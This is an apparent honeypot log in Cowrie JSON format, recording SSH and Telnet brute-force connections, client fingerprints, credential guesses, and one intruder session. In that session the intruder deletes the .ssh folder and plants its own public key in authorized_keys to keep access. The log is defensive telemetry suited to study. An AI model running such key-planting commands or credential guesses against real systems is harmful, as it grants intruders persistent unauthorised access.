{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":51536,"dst_ip":"159.203.135.109","dst_port":22,"session":"60d0ece80696","protocol":"ssh","message":"New connection: 163.7.6.74:51536 (159.203.135.109:22) [session: 60d0ece80696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:23.489242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:23.493546Z","src_ip":"163.7.6.74","session":"60d0ece80696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:23.740621Z","src_ip":"163.7.6.74","session":"60d0ece80696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":58966,"dst_ip":"10.17.0.5","dst_port":23,"session":"abeade5e8bdb","protocol":"telnet","message":"New connection: 68.178.168.57:58966 (10.17.0.5:23) [session: abeade5e8bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:24.223384Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle321","message":"login attempt [oracle/oracle321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:24.764769Z","src_ip":"163.7.6.74","session":"60d0ece80696","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:25.314593Z","src_ip":"163.7.6.74","session":"60d0ece80696","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:25.318560Z","src_ip":"163.7.6.74","session":"60d0ece80696","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:25.322636Z","src_ip":"163.7.6.74","session":"60d0ece80696","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:25.574306Z","src_ip":"163.7.6.74","session":"60d0ece80696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":33562,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2bedd2b577a","protocol":"telnet","message":"New connection: 69.6.249.0:33562 (159.203.135.109:23) [session: f2bedd2b577a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:25.840840Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:26.110262Z","src_ip":"163.7.6.74","session":"60d0ece80696","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:26.113827Z","src_ip":"163.7.6.74","session":"60d0ece80696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":33570,"dst_ip":"159.203.135.109","dst_port":23,"session":"6238cac6c0f8","protocol":"telnet","message":"New connection: 69.6.249.0:33570 (159.203.135.109:23) [session: 6238cac6c0f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:26.257941Z"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:26.366781Z","src_ip":"163.7.6.74","session":"60d0ece80696","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:26.370853Z","src_ip":"163.7.6.74","session":"60d0ece80696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":51538,"dst_ip":"159.203.135.109","dst_port":22,"session":"428e2fb0b773","protocol":"ssh","message":"New connection: 163.7.6.74:51538 (159.203.135.109:22) [session: 428e2fb0b773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:26.610972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:26.615403Z","src_ip":"163.7.6.74","session":"428e2fb0b773","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:26.862731Z","src_ip":"163.7.6.74","session":"428e2fb0b773","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:27.887724Z","src_ip":"163.7.6.74","session":"428e2fb0b773","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.901094913482666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:28.208508Z","src_ip":"69.6.249.0","session":"d7ef9c6a56bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.565407752990723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:28.531662Z","src_ip":"69.6.249.0","session":"b4376d25859d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:29.136645Z","src_ip":"163.7.6.74","session":"428e2fb0b773","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":51548,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8158b33dcc0","protocol":"ssh","message":"New connection: 163.7.6.74:51548 (159.203.135.109:22) [session: d8158b33dcc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:29.381508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:29.385759Z","src_ip":"163.7.6.74","session":"d8158b33dcc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:29.634618Z","src_ip":"163.7.6.74","session":"d8158b33dcc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":33572,"dst_ip":"159.203.135.109","dst_port":23,"session":"36706905645b","protocol":"telnet","message":"New connection: 69.6.249.0:33572 (159.203.135.109:23) [session: 36706905645b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:30.051768Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":37190,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0ffb8f63458","protocol":"ssh","message":"New connection: 103.15.226.202:37190 (10.17.0.5:22) [session: b0ffb8f63458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:30.158273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:30.163126Z","src_ip":"103.15.226.202","session":"b0ffb8f63458","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:30.403724Z","src_ip":"103.15.226.202","session":"b0ffb8f63458","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:30.660933Z","src_ip":"163.7.6.74","session":"d8158b33dcc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:30.912649Z","src_ip":"163.7.6.74","session":"60d0ece80696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:30.918780Z","src_ip":"163.7.6.74","session":"d8158b33dcc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa12488261","message":"login attempt [root/Aa12488261] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:31.124573Z","src_ip":"103.15.226.202","session":"b0ffb8f63458","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":33574,"dst_ip":"159.203.135.109","dst_port":23,"session":"f41780e7e2c7","protocol":"telnet","message":"New connection: 69.6.249.0:33574 (159.203.135.109:23) [session: f41780e7e2c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:31.615242Z"}
{"eventid":"cowrie.session.closed","duration":30.695977449417114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:31.902902Z","src_ip":"69.6.249.0","session":"52d981a06501","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:32.366887Z","src_ip":"103.15.226.202","session":"b0ffb8f63458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.090760231018066,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:32.433827Z","src_ip":"69.6.249.0","session":"067498ea2bb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.981043815612793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:34.417500Z","src_ip":"69.6.249.0","session":"b9dcaac11792","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":42758,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f26ac0cbb99","protocol":"telnet","message":"New connection: 69.6.249.0:42758 (159.203.135.109:23) [session: 6f26ac0cbb99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:34.988723Z"}
{"eventid":"cowrie.session.closed","duration":31.15802836418152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:35.673862Z","src_ip":"69.6.249.0","session":"ee27a644dadc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.162833213806152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:36.942668Z","src_ip":"69.6.249.0","session":"d599ebe03199","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":42774,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6e88438a9cb","protocol":"telnet","message":"New connection: 69.6.249.0:42774 (159.203.135.109:23) [session: c6e88438a9cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:37.702486Z"}
{"eventid":"cowrie.session.closed","duration":31.158602714538574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:40.151362Z","src_ip":"69.6.249.0","session":"8ac8aa1cf4a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":42778,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b1c179dec27","protocol":"telnet","message":"New connection: 69.6.249.0:42778 (159.203.135.109:23) [session: 0b1c179dec27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:44.308544Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":44000,"dst_ip":"159.203.135.109","dst_port":23,"session":"70bca5be113f","protocol":"telnet","message":"New connection: 69.6.249.0:44000 (159.203.135.109:23) [session: 70bca5be113f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:44.428884Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":44012,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bf1822a25df","protocol":"telnet","message":"New connection: 69.6.249.0:44012 (159.203.135.109:23) [session: 1bf1822a25df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:45.792966Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":44024,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0f1495494f8","protocol":"telnet","message":"New connection: 69.6.249.0:44024 (159.203.135.109:23) [session: b0f1495494f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:47.409480Z"}
{"eventid":"cowrie.session.closed","duration":30.41748833656311,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:47.795800Z","src_ip":"69.6.249.0","session":"29cb21d59ca6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.442931175231934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:47.995390Z","src_ip":"69.6.249.0","session":"e480331f98ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16110372543335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:48.622976Z","src_ip":"69.6.249.0","session":"7153903f9888","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.36290669441223,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:52.050799Z","src_ip":"69.6.249.0","session":"e72b8c4265cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":44026,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1a5fadd2458","protocol":"telnet","message":"New connection: 69.6.249.0:44026 (159.203.135.109:23) [session: d1a5fadd2458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:52.428551Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":40878,"dst_ip":"10.17.0.5","dst_port":23,"session":"de4f27d9427b","protocol":"telnet","message":"New connection: 68.178.168.57:40878 (10.17.0.5:23) [session: de4f27d9427b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:52.461252Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":44042,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb35d846017c","protocol":"telnet","message":"New connection: 69.6.249.0:44042 (159.203.135.109:23) [session: bb35d846017c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:53.070972Z"}
{"eventid":"cowrie.session.closed","duration":31.726004362106323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:53.460500Z","src_ip":"69.6.249.0","session":"d7ef7e167eab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.75244688987732,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:55.975747Z","src_ip":"68.178.168.57","session":"abeade5e8bdb","protocol":"telnet"}
